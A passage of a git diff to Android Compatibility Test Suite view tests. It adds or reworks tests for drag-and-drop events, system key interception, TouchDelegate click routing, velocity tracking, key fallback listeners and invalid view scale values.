+ mActual.add(new LogEntry(v, ev.getAction(), ev.getX(), ev.getY(), ev.getClipData(),
+ ev.getClipDescription(), ev.getLocalState(), ev.getResult()));
}
// Add expected event for a view, with zero coordinates.
private void expectEvent5(int action, int viewId) {
View v = mActivity.findViewById(viewId);
- mExpected.add(new LogEntry(v, obtainDragEvent(action, 0, 0, false)));
+ mExpected.add(new LogEntry(v, action, 0, 0, obtainClipData(action),
+ obtainClipDescription(action), sLocalState, false));
}
// Add expected event for a view.
- private void expectEndEvent(int viewId, int x, int y, boolean result) {
+ private void expectEndEvent(int viewId, float x, float y, boolean result) {
View v = mActivity.findViewById(viewId);
- mExpected.add(new LogEntry(v, obtainDragEvent(DragEvent.ACTION_DRAG_ENDED, x, y, result)));
+ int action = DragEvent.ACTION_DRAG_ENDED;
+ mExpected.add(new LogEntry(v, action, x, y, obtainClipData(action),
+ obtainClipDescription(action), sLocalState, result));
}
// Add expected successful-end event for a view.
@@ -173,9 +198,12 @@
private void expectEndEventFailure6(int viewId, int releaseViewId) {
View v = mActivity.findViewById(viewId);
View release = mActivity.findViewById(releaseViewId);
- int [] releaseLoc = release.getLocationOnScreen();
- mExpected.add(new LogEntry(v, obtainDragEvent(DragEvent.ACTION_DRAG_ENDED,
- releaseLoc[0] + 6, releaseLoc[1] + 6, false)));
+ int [] releaseLoc = new int[2];
+ release.getLocationOnScreen(releaseLoc);
+ int action = DragEvent.ACTION_DRAG_ENDED;
+ mExpected.add(new LogEntry(v, action,
+ releaseLoc[0] + 6, releaseLoc[1] + 6, obtainClipData(action),
+ obtainClipDescription(action), sLocalState, false));
}
// Add expected event for a view, with coordinates over view locationViewId, with the specified
@@ -183,11 +211,14 @@
private void expectEventWithOffset(int action, int viewId, int locationViewId, int offset) {
View v = mActivity.findViewById(viewId);
View locationView = mActivity.findViewById(locationViewId);
- int [] viewLocation = v.getLocationOnScreen();
- int [] locationViewLocation = locationView.getLocationOnScreen();
- mExpected.add(new LogEntry(v, obtainDragEvent(action,
+ int [] viewLocation = new int[2];
+ v.getLocationOnScreen(viewLocation);
+ int [] locationViewLocation = new int[2];
+ locationView.getLocationOnScreen(locationViewLocation);
+ mExpected.add(new LogEntry(v, action,
locationViewLocation[0] - viewLocation[0] + offset,
- locationViewLocation[1] - viewLocation[1] + offset, false)));
+ locationViewLocation[1] - viewLocation[1] + offset, obtainClipData(action),
+ obtainClipDescription(action), sLocalState, false));
}
private void expectEvent5(int action, int viewId, int locationViewId) {
@@ -203,7 +234,8 @@
private void injectMouseWithOffset(int viewId, int action, int offset) {
runOnMain(() -> {
View v = mActivity.findViewById(viewId);
- int [] destLoc = v.getLocationOnScreen();
+ int [] destLoc = new int [2];
+ v.getLocationOnScreen(destLoc);
long downTime = SystemClock.uptimeMillis();
MotionEvent event = MotionEvent.obtain(downTime, downTime, action,
destLoc[0] + offset, destLoc[1] + offset, 1);
@@ -237,8 +269,7 @@
StringBuilder sb = new StringBuilder();
for (int i = 0; i < log.size(); ++i) {
LogEntry e = log.get(i);
- sb.append("#").append(i + 1).append(": ").append(e.ev).append(" @ ").
- append(e.v.toString()).append('\n');
+ sb.append("#").append(i + 1).append(": ").append(e).append('\n');
}
return sb.toString();
}
@@ -263,7 +294,7 @@
}
for (int i = 0; i < mActual.size(); ++i) {
- if (!mActual.get(i).eq(mExpected.get(i))) {
+ if (!mActual.get(i).equals(mExpected.get(i))) {
failWithLogs("Actual event #" + (i + 1) + " is different from expected");
}
}
@@ -321,7 +352,7 @@
// Start drag.
View v = mActivity.findViewById(R.id.draggable);
assertTrue("Couldn't start drag",
- v.startDragAndDrop(createClipData(), new View.DragShadowBuilder(v), null, 0));
+ v.startDragAndDrop(sClipData, new View.DragShadowBuilder(v), sLocalState, 0));
});
try {
@@ -585,6 +616,11 @@
verifyEventLog();
}
+ private boolean drawableStateContains(int resourceId, int attr) {
+ return IntStream.of(mActivity.findViewById(resourceId).getDrawableState())
+ .anyMatch(x -> x == attr);
+ }
+
/**
* Tests that state_drag_hovered and state_drag_can_accept are set correctly.
*/
@@ -600,52 +636,38 @@
logEvent(v, ev);
return true;
});
- assertFalse(ArrayUtils.contains(
- mActivity.findViewById(R.id.inner).getDrawableState(),
- android.R.attr.state_drag_can_accept));
+ assertFalse(drawableStateContains(R.id.inner, android.R.attr.state_drag_can_accept));
});
startDrag();
runOnMain(() -> {
- assertFalse(ArrayUtils.contains(
- mActivity.findViewById(R.id.inner).getDrawableState(),
- android.R.attr.state_drag_hovered));
- assertTrue(ArrayUtils.contains(
- mActivity.findViewById(R.id.inner).getDrawableState(),
- android.R.attr.state_drag_can_accept));
+ assertFalse(drawableStateContains(R.id.inner, android.R.attr.state_drag_hovered));
+ assertTrue(drawableStateContains(R.id.inner, android.R.attr.state_drag_can_accept));
});
// Move mouse into the view.
injectMouse5(R.id.inner, MotionEvent.ACTION_MOVE);
runOnMain(() -> {
- assertTrue(ArrayUtils.contains(
- mActivity.findViewById(R.id.inner).getDrawableState(),
- android.R.attr.state_drag_hovered));
+ assertTrue(drawableStateContains(R.id.inner, android.R.attr.state_drag_hovered));
});
// Move out.
injectMouse5(R.id.subcontainer, MotionEvent.ACTION_MOVE);
runOnMain(() -> {
- assertFalse(ArrayUtils.contains(
- mActivity.findViewById(R.id.inner).getDrawableState(),
- android.R.attr.state_drag_hovered));
+ assertFalse(drawableStateContains(R.id.inner, android.R.attr.state_drag_hovered));
});
// Move in.
injectMouse5(R.id.inner, MotionEvent.ACTION_MOVE);
runOnMain(() -> {
- assertTrue(ArrayUtils.contains(
- mActivity.findViewById(R.id.inner).getDrawableState(),
- android.R.attr.state_drag_hovered));
+ assertTrue(drawableStateContains(R.id.inner, android.R.attr.state_drag_hovered));
});
// Release there.
injectMouse5(R.id.inner, MotionEvent.ACTION_UP);
runOnMain(() -> {
- assertFalse(ArrayUtils.contains(
- mActivity.findViewById(R.id.inner).getDrawableState(),
- android.R.attr.state_drag_hovered));
+ assertFalse(drawableStateContains(R.id.inner, android.R.attr.state_drag_hovered));
});
}
}
\ No newline at end of file
diff --git a/tests/tests/view/src/android/view/cts/FocusFinderTest.java b/tests/tests/view/src/android/view/cts/FocusFinderTest.java
index 0f2119e..2505111 100644
--- a/tests/tests/view/src/android/view/cts/FocusFinderTest.java
+++ b/tests/tests/view/src/android/view/cts/FocusFinderTest.java
@@ -426,7 +426,6 @@
// While we don't want to test details, we should at least verify basic correctness
// like "left-to-right" ordering in well-behaved layouts
- assertEquals(mLayout.findFocus(), mTopLeft);
verifyNextFocus(mTopLeft, View.FOCUS_FORWARD, mTopRight);
verifyNextFocus(mTopRight, View.FOCUS_FORWARD, mBottomLeft);
verifyNextFocus(mBottomLeft, View.FOCUS_FORWARD, mBottomRight);
diff --git a/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java b/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java
new file mode 100644
index 0000000..598552b
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static org.junit.Assert.fail;
+
+import android.app.Instrumentation;
+import android.app.UiAutomation;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.KeyEvent;
+
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.TimeUnit;
+
+
+/**
+ * Certain KeyEvents should never be delivered to apps. These keys are:
+ * KEYCODE_ASSIST
+ * KEYCODE_VOICE_ASSIST
+ * KEYCODE_HOME
+ * This test launches an Activity and inject KeyEvents with the corresponding key codes.
+ * The test will fail if any of these keys are received by the activity.
+ */
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class KeyEventInterceptTest {
+ private KeyEventInterceptTestActivity mActivity;
+ private Instrumentation mInstrumentation;
+
+ @Rule
+ public ActivityTestRule<KeyEventInterceptTestActivity> mActivityRule =
+ new ActivityTestRule<>(KeyEventInterceptTestActivity.class);
+
+ @Before
+ public void setup() {
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ mActivity = mActivityRule.getActivity();
+ PollingCheck.waitFor(mActivity::hasWindowFocus);
+ }
+
+ @Test
+ public void testKeyCodeAssist() {
+ testKey(KeyEvent.KEYCODE_ASSIST);
+ }
+
+ @Test
+ public void testKeyCodeVoiceAssist() {
+ testKey(KeyEvent.KEYCODE_VOICE_ASSIST);
+ }
+
+ @Test
+ public void testKeyCodeHome() {
+ testKey(KeyEvent.KEYCODE_HOME);
+ }
+
+ private void testKey(int keyCode) {
+ sendKey(keyCode);
+ assertKeyNotReceived();
+ }
+
+ private void sendKey(int keyCodeToSend) {
+ long downTime = SystemClock.uptimeMillis();
+ injectEvent(new KeyEvent(downTime, downTime, KeyEvent.ACTION_DOWN,
+ keyCodeToSend, 0, 0));
+ injectEvent(new KeyEvent(downTime, downTime + 1, KeyEvent.ACTION_UP,
+ keyCodeToSend, 0, 0));
+ }
+
+ private void injectEvent(KeyEvent event) {
+ final UiAutomation automation = mInstrumentation.getUiAutomation();
+ automation.injectInputEvent(event, true);
+ event.recycle();
+ }
+
+ private void assertKeyNotReceived() {
+ try {
+ KeyEvent keyEvent = mActivity.mKeyEvents.poll(1, TimeUnit.SECONDS);
+ if (keyEvent == null) {
+ return;
+ }
+ fail("Should not have received " + KeyEvent.keyCodeToString(keyEvent.getKeyCode()));
+ } catch (InterruptedException ex) {
+ fail("BlockingQueue.poll(..) was unexpectedly interrupted");
+ }
+ }
+}
diff --git a/tests/tests/view/src/android/view/cts/KeyEventInterceptTestActivity.java b/tests/tests/view/src/android/view/cts/KeyEventInterceptTestActivity.java
new file mode 100644
index 0000000..18e0713
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/KeyEventInterceptTestActivity.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import android.app.Activity;
+import android.view.KeyEvent;
+
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingDeque;
+
+public class KeyEventInterceptTestActivity extends Activity {
+ final BlockingQueue<KeyEvent> mKeyEvents = new LinkedBlockingDeque<>();
+
+ @Override
+ public boolean onKeyDown(int keyCode, KeyEvent event) {
+ mKeyEvents.add(event);
+ return true;
+ }
+
+ @Override
+ public boolean onKeyUp(int keyCode, KeyEvent event) {
+ // Check this in case some spurious event with ACTION_UP is received
+ mKeyEvents.add(event);
+ return true;
+ }
+}
diff --git a/tests/tests/view/src/android/view/cts/TooltipTest.java b/tests/tests/view/src/android/view/cts/TooltipTest.java
index 1717763..c2c8e87 100644
--- a/tests/tests/view/src/android/view/cts/TooltipTest.java
+++ b/tests/tests/view/src/android/view/cts/TooltipTest.java
@@ -256,9 +256,6 @@
injectLongClick(mTooltipView);
assertFalse(hasTooltip(mTooltipView));
- injectLongEnter(mTooltipView);
- assertFalse(hasTooltip(mTooltipView));
-
injectLongHoverMove(mTooltipView);
assertFalse(hasTooltip(mTooltipView));
}
diff --git a/tests/tests/view/src/android/view/cts/TouchDelegateTest.java b/tests/tests/view/src/android/view/cts/TouchDelegateTest.java
index 1fd3d8c..8def4b0 100644
--- a/tests/tests/view/src/android/view/cts/TouchDelegateTest.java
+++ b/tests/tests/view/src/android/view/cts/TouchDelegateTest.java
@@ -16,24 +16,19 @@
package android.view.cts;
-import static org.mockito.Matchers.any;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.times;
-import static org.mockito.Mockito.verify;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
-import android.app.Activity;
import android.app.Instrumentation;
+import android.os.SystemClock;
import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
import android.support.test.filters.MediumTest;
import android.support.test.rule.ActivityTestRule;
import android.support.test.runner.AndroidJUnit4;
+import android.view.InputDevice;
import android.view.MotionEvent;
-import android.view.TouchDelegate;
-import android.view.View;
-import android.view.ViewGroup;
-import android.widget.Button;
-import android.widget.LinearLayout;
+
import org.junit.Before;
import org.junit.Rule;
@@ -44,37 +39,89 @@
@RunWith(AndroidJUnit4.class)
public class TouchDelegateTest {
private Instrumentation mInstrumentation;
- private Activity mActivity;
- private Button mButton;
+ private TouchDelegateTestActivity mActivity;
@Rule
- public ActivityTestRule<MockActivity> mActivityRule =
- new ActivityTestRule<>(MockActivity.class);
+ public ActivityTestRule<TouchDelegateTestActivity> mActivityRule =
+ new ActivityTestRule<>(TouchDelegateTestActivity.class);
@Before
public void setup() throws Throwable {
mActivity = mActivityRule.getActivity();
+ mActivity.resetCounters();
mInstrumentation = InstrumentationRegistry.getInstrumentation();
-
- mButton = new Button(mActivity);
- mActivityRule.runOnUiThread(() -> mActivity.addContentView(
- mButton, new LinearLayout.LayoutParams(
- ViewGroup.LayoutParams.WRAP_CONTENT, ViewGroup.LayoutParams.WRAP_CONTENT)));
mInstrumentation.waitForIdleSync();
}
- @UiThreadTest
@Test
- public void testOnTouchEvent() {
- // test callback of onTouchEvent
- final View view = new View(mActivity);
- final TouchDelegate touchDelegate = mock(TouchDelegate.class);
- view.setTouchDelegate(touchDelegate);
+ public void testParentClick() {
+ // If only clicking parent, button should not receive click
+ clickParent();
+ assertEquals(0, mActivity.getButtonClickCount());
+ assertEquals(1, mActivity.getParentClickCount());
- final int xInside = (mButton.getLeft() + mButton.getRight()) / 3;
- final int yInside = (mButton.getTop() + mButton.getBottom()) / 3;
+ // When clicking TouchDelegate area, both parent and button
+ // should receive DOWN and UP events. However, click will only be generated for the button
+ mActivity.resetCounters();
+ clickTouchDelegateArea();
+ assertEquals(1, mActivity.getButtonClickCount());
+ assertEquals(0, mActivity.getParentClickCount());
- view.onTouchEvent(MotionEvent.obtain(0, 0, MotionEvent.ACTION_DOWN, xInside, yInside, 0));
- verify(touchDelegate, times(1)).onTouchEvent(any(MotionEvent.class));
+ // Ensure parent can still receive clicks after TouchDelegate has been activated once
+ mActivity.resetCounters();
+ clickParent();
+ assertEquals(0, mActivity.getButtonClickCount());
+ assertEquals(1, mActivity.getParentClickCount());
+ }
+
+ @Test
+ public void testCancelEvent() {
+ // Ensure events with ACTION_CANCEL are received by the TouchDelegate
+ final long downTime = SystemClock.uptimeMillis();
+ dispatchMotionEventToActivity(MotionEvent.ACTION_DOWN, mActivity.touchDelegateY,
+ downTime);
+ dispatchMotionEventToActivity(MotionEvent.ACTION_CANCEL, mActivity.touchDelegateY,
+ downTime);
+ mInstrumentation.waitForIdleSync();
+
+ MotionEvent event = mActivity.removeOldestButtonEvent();
+ assertNotNull(event);
+ assertEquals(MotionEvent.ACTION_DOWN, event.getAction());
+ event.recycle();
+ event = mActivity.removeOldestButtonEvent();
+ assertNotNull(event);
+ assertEquals(MotionEvent.ACTION_CANCEL, event.getAction());
+ event.recycle();
+ assertNull(mActivity.removeOldestButtonEvent());
+ assertEquals(0, mActivity.getButtonClickCount());
+ assertEquals(0, mActivity.getParentClickCount());
+ }
+
+ private void clickParent() {
+ click(mActivity.parentViewY);
+ }
+
+ private void clickTouchDelegateArea() {
+ click(mActivity.touchDelegateY);
+ }
+
+ // Low-level input-handling functions for the activity
+
+ private void click(int y) {
+ final long downTime = SystemClock.uptimeMillis();
+ dispatchMotionEventToActivity(MotionEvent.ACTION_DOWN, y, downTime);
+ dispatchMotionEventToActivity(MotionEvent.ACTION_UP, y, downTime);
+ mInstrumentation.waitForIdleSync();
+ }
+
+ private void dispatchMotionEventToActivity(int action, int y, long downTime) {
+ mActivity.runOnUiThread(() -> {
+ final long eventTime = SystemClock.uptimeMillis();
+ final MotionEvent event = MotionEvent.obtain(downTime, eventTime, action,
+ mActivity.x, y, 0);
+ event.setSource(InputDevice.SOURCE_TOUCHSCREEN);
+ mActivity.dispatchTouchEvent(event);
+ event.recycle();
+ });
}
}
diff --git a/tests/tests/view/src/android/view/cts/TouchDelegateTestActivity.java b/tests/tests/view/src/android/view/cts/TouchDelegateTestActivity.java
new file mode 100644
index 0000000..0f01a95
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/TouchDelegateTestActivity.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import android.app.Activity;
+import android.graphics.Rect;
+import android.os.Bundle;
+import android.view.MotionEvent;
+import android.view.TouchDelegate;
+import android.view.View;
+import android.view.ViewTreeObserver;
+import android.widget.Button;
+
+import java.util.ArrayDeque;
+import java.util.Queue;
+
+/**
+ * The layout is:
+ * | <-- top edge of RelativeLayout (parent)
+ * |
+ * |
+ * | (touches in this region should go to parent only)
+ * |
+ * |
+ * | <-- TouchDelegate boundary
+ * |
+ * |
+ * | (touches in this region should go to button + parent)
+ * |
+ * |
+ * | <-- Button top boundary
+ * |
+ */
+public class TouchDelegateTestActivity extends Activity {
+ // Counters for click events. Must use waitForIdleSync() before accessing these
+ private volatile int mParentClickCount = 0;
+ private volatile int mButtonClickCount = 0;
+ // Storage for MotionEvents received by the TouchDelegate
+ private Queue<MotionEvent> mButtonEvents = new ArrayDeque<>();
+
+ // Coordinates for injecting input events from the test
+ public int x; // common X coordinate for all input events - center of the screen
+ public int touchDelegateY; // Y coordinate for touches inside TouchDelegate area
+ public int parentViewY; // Y coordinate for touches inside parent area only
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.touch_delegate_test_activity_layout);
+
+ final Button button = findViewById(R.id.button);
+ final View parent = findViewById(R.id.layout);
+
+ parent.getViewTreeObserver().addOnGlobalLayoutListener(
+ new ViewTreeObserver.OnGlobalLayoutListener() {
+ @Override
+ public void onGlobalLayout() {
+ final int[] parentLocation = new int[2];
+ parent.getLocationOnScreen(parentLocation);
+ final int[] buttonLocation = new int[2];
+ button.getLocationOnScreen(buttonLocation);
+ x = parentLocation[0] + parent.getWidth() / 2;
+ final int gap = buttonLocation[1] - parentLocation[1];
+
+ Rect rect = new Rect();
+ button.getHitRect(rect);
+ rect.top -= gap / 2; // TouchDelegate is halfway between button and parent
+ parent.setTouchDelegate(new TouchDelegate(rect, button));
+ touchDelegateY = buttonLocation[1] - gap / 4;
+ parentViewY = parentLocation[1] + gap / 4;
+ }
+ });
+
+ parent.setOnClickListener(v -> mParentClickCount++);
+ button.setOnClickListener(v -> mButtonClickCount++);
+ button.setOnTouchListener((v, event) -> {
+ mButtonEvents.add(MotionEvent.obtain(event));
+ return TouchDelegateTestActivity.super.onTouchEvent(event);
+ });
+ }
+
+ void resetCounters() {
+ mParentClickCount = 0;
+ mButtonClickCount = 0;
+ mButtonEvents.clear();
+ }
+
+ int getButtonClickCount() {
+ return mButtonClickCount;
+ }
+
+ int getParentClickCount() {
+ return mParentClickCount;
+ }
+
+ /**
+ * Remove and return the oldest MotionEvent. Caller must recycle the returned object.
+ * @return the oldest MotionEvent that the Button has received
+ */
+ MotionEvent removeOldestButtonEvent() {
+ return mButtonEvents.poll();
+ }
+}
diff --git a/tests/tests/view/src/android/view/cts/VelocityTrackerTest.java b/tests/tests/view/src/android/view/cts/VelocityTrackerTest.java
index 774aadb..955cf7c 100644
--- a/tests/tests/view/src/android/view/cts/VelocityTrackerTest.java
+++ b/tests/tests/view/src/android/view/cts/VelocityTrackerTest.java
@@ -174,7 +174,7 @@
}
private void addMovement() {
- if (mTime >= mLastTime) {
+ if (mTime > mLastTime) {
MotionEvent ev = MotionEvent.obtain(0L, mTime, MotionEvent.ACTION_MOVE, mPx, mPy, 0);
mVelocityTracker.addMovement(ev);
ev.recycle();
@@ -201,9 +201,9 @@
if (errorVx > tolerance || errorVy > tolerance) {
fail(String.format("Velocity exceeds tolerance of %6.1f%%: "
+ "expected vx=%6.1f, vy=%6.1f. "
- + "actual vx=%6.1f (%6.1f%%), vy=%6.1f (%6.1f%%)",
+ + "actual vx=%6.1f (%6.1f%%), vy=%6.1f (%6.1f%%). %s",
tolerance * 100.0f, mVx, mVy,
- estimatedVx, errorVx * 100.0f, estimatedVy, errorVy * 100.0f));
+ estimatedVx, errorVx * 100.0f, estimatedVy, errorVy * 100.0f, message));
}
}
diff --git a/tests/tests/view/src/android/view/cts/ViewTest.java b/tests/tests/view/src/android/view/cts/ViewTest.java
index 831aa15..fb823b9 100644
--- a/tests/tests/view/src/android/view/cts/ViewTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewTest.java
@@ -99,6 +99,7 @@
import android.widget.Button;
import android.widget.EditText;
import android.widget.LinearLayout;
+import android.widget.TextView;
import com.android.compatibility.common.util.CtsMouseUtil;
import com.android.compatibility.common.util.CtsTouchUtils;
@@ -133,6 +134,7 @@
private ViewTestCtsActivity mActivity;
private Resources mResources;
private MockViewParent mMockParent;
+ private Context mContext;
@Rule
public ActivityTestRule<ViewTestCtsActivity> mActivityRule =
@@ -145,11 +147,13 @@
@Before
public void setup() {
mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ mContext = mInstrumentation.getTargetContext();
mActivity = mActivityRule.getActivity();
PollingCheck.waitFor(mActivity::hasWindowFocus);
mResources = mActivity.getResources();
mMockParent = new MockViewParent(mActivity);
- assertTrue(mActivity.waitForWindowFocus(5 * DateUtils.SECOND_IN_MILLIS));
+ PollingCheck.waitFor(5 * DateUtils.SECOND_IN_MILLIS, mActivity::hasWindowFocus);
+ assertTrue(mActivity.hasWindowFocus());
}
@Test
@@ -2385,6 +2389,109 @@
}
@Test
+ public void testKeyFallback() throws Throwable {
+ MockFallbackListener listener = new MockFallbackListener();
+ ViewGroup viewGroup = (ViewGroup) mActivity.findViewById(R.id.viewlayout_root);
+ // Attaching a fallback handler
+ TextView mockView1 = new TextView(mActivity);
+ mockView1.addKeyFallbackListener(listener);
+
+ // Before the view is attached, it shouldn't respond to anything
+ mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_B);
+ assertFalse(listener.fired());
+
+ // Once attached, it should start receiving fallback events
+ mActivityRule.runOnUiThread(() -> viewGroup.addView(mockView1));
+ mInstrumentation.waitForIdleSync();
+ mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_B);
+ assertTrue(listener.fired());
+ listener.reset();
+
+ // If multiple on one view, last added should receive event first
+ MockFallbackListener listener2 = new MockFallbackListener();
+ listener2.mReturnVal = true;
+ mActivityRule.runOnUiThread(() -> mockView1.addKeyFallbackListener(listener2));
+ mInstrumentation.waitForIdleSync();
+ mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_B);
+ assertTrue(listener2.fired());
+ assertFalse(listener.fired());
+ listener2.reset();
+
+ // If removed, it should not receive fallbacks anymore
+ mActivityRule.runOnUiThread(() -> {
+ mockView1.removeKeyFallbackListener(listener);
+ mockView1.removeKeyFallbackListener(listener2);
+ });
+ mInstrumentation.waitForIdleSync();
+ mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_B);
+ assertFalse(listener.fired());
+
+ mActivityRule.runOnUiThread(() -> mActivity.setContentView(R.layout.key_fallback_layout));
+ mInstrumentation.waitForIdleSync();
+ View higherInNormal = mActivity.findViewById(R.id.higher_in_normal);
+ View higherGroup = mActivity.findViewById(R.id.higher_group);
+ View lowerInHigher = mActivity.findViewById(R.id.lower_in_higher);
+ View lastButton = mActivity.findViewById(R.id.last_button);
+ View lastInHigher = mActivity.findViewById(R.id.last_in_higher);
+ View lastInNormal = mActivity.findViewById(R.id.last_in_normal);
+
+ View[] allViews = new View[]{higherInNormal, higherGroup, lowerInHigher, lastButton,
+ lastInHigher, lastInNormal};
+
+ // Test ordering by depth
+ listener.mReturnVal = true;
+ mActivityRule.runOnUiThread(() -> {
+ for (View v : allViews) {
+ v.addKeyFallbackListener(listener);
+ }
+ });
+ mInstrumentation.waitForIdleSync();
+
+ mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_B);
+ assertEquals(lastInHigher, listener.mLastView);
+ listener.reset();
+
+ mActivityRule.runOnUiThread(() -> lastInHigher.removeKeyFallbackListener(listener));
+ mInstrumentation.waitForIdleSync();
+ mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_B);
+ assertEquals(lowerInHigher, listener.mLastView);
+ listener.reset();
+
+ mActivityRule.runOnUiThread(() -> lowerInHigher.removeKeyFallbackListener(listener));
+ mInstrumentation.waitForIdleSync();
+ mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_B);
+ assertEquals(higherGroup, listener.mLastView);
+ listener.reset();
+
+ mActivityRule.runOnUiThread(() -> higherGroup.removeKeyFallbackListener(listener));
+ mInstrumentation.waitForIdleSync();
+ mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_B);
+ assertEquals(lastButton, listener.mLastView);
+ listener.reset();
+
+ mActivityRule.runOnUiThread(() -> lastButton.removeKeyFallbackListener(listener));
+ mInstrumentation.waitForIdleSync();
+ mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_B);
+ assertEquals(higherInNormal, listener.mLastView);
+ listener.reset();
+
+ mActivityRule.runOnUiThread(() -> higherInNormal.removeKeyFallbackListener(listener));
+ mInstrumentation.waitForIdleSync();
+ mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_B);
+ assertEquals(lastInNormal, listener.mLastView);
+ listener.reset();
+
+ // Test "capture"
+ mActivityRule.runOnUiThread(() -> lastInNormal.requestFocus());
+ mInstrumentation.waitForIdleSync();
+ lastInNormal.setOnKeyListener((v, keyCode, event)
+ -> (keyCode == KeyEvent.KEYCODE_B && event.getAction() == KeyEvent.ACTION_UP));
+ mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_B);
+ assertTrue(listener.fired()); // checks that both up and down were received
+ listener.reset();
+ }
+
+ @Test
public void testWindowVisibilityChanged() throws Throwable {
final MockView mockView = new MockView(mActivity);
final ViewGroup viewGroup = (ViewGroup) mActivity.findViewById(R.id.viewlayout_root);
@@ -4340,6 +4447,42 @@
event.recycle();
}
+ @Test(expected = IllegalArgumentException.class)
+ public void testScaleXNaN() {
+ View view = new View(mContext);
+ view.setScaleX(Float.NaN);
+ }
+
+ @Test(expected = IllegalArgumentException.class)
+ public void testScaleXPositiveInfinity() {
+ View view = new View(mContext);
+ view.setScaleX(Float.POSITIVE_INFINITY);
+ }
+
+ @Test(expected = IllegalArgumentException.class)
+ public void testScaleXNegativeInfinity() {
+ View view = new View(mContext);
+ view.setScaleX(Float.NEGATIVE_INFINITY);
+ }
+
+ @Test(expected = IllegalArgumentException.class)
+ public void testScaleYNaN() {
+ View view = new View(mContext);
+ view.setScaleY(Float.NaN);
+ }
+
+ @Test(expected = IllegalArgumentException.class)
+ public void testScaleYPositiveInfinity() {
+ View view = new View(mContext);
+ view.setScaleY(Float.POSITIVE_INFINITY);
+ }
+
+ @Test(expected = IllegalArgumentException.class)
+ public void testScaleYNegativeInfinity() {
+ View view = new View(mContext);
+ view.setScaleY(Float.NEGATIVE_INFINITY);
+ }
+
private static class MockDrawable extends Drawable {
private boolean mCalledSetTint = false;
@@ -4691,6 +4834,29 @@
public View firstChild;
}
+ private static class MockFallbackListener implements View.OnKeyFallbackListener {
+ public View mLastView = null;
+ public boolean mGotUp = false;
+ public boolean mReturnVal = false;
+
+ @Override
+ public boolean onKeyFallback(View v, KeyEvent event) {
+ if (event.getAction() == KeyEvent.ACTION_DOWN) {
+ mLastView = v;
+ } else if (event.getAction() == KeyEvent.ACTION_UP) {
+ mGotUp = true;
+ }
+ return mReturnVal;
+ }
+ public void reset() {
+ mLastView = null;
+ mGotUp = false;
+ }
+ public boolean fired() {
+ return mLastView != null && mGotUp;
+ }
+ }
+
private static final Class<?> ASYNC_INFLATE_VIEWS[] = {
android.app.FragmentBreadCrumbs.class,
// DISABLED because it doesn't have a AppWidgetHostView(Context, AttributeSet)
diff --git a/tests/tests/view/src/android/view/cts/ViewTestCtsActivity.java b/tests/tests/view/src/android/view/cts/ViewTestCtsActivity.java
index 9766fa2..9117925 100644
--- a/tests/tests/view/src/android/view/cts/ViewTestCtsActivity.java
+++ b/tests/tests/view/src/android/view/cts/ViewTestCtsActivity.java
@@ -18,52 +18,13 @@
import android.app.Activity;
import android.os.Bundle;
-import android.os.SystemClock;
